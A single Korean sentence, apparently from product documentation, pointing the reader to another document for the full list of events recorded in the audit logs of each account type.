각 계정 유형의 감사 로그에서 찾을 수 있는 이벤트의 전체 목록은 다음 문서를 참조하세요.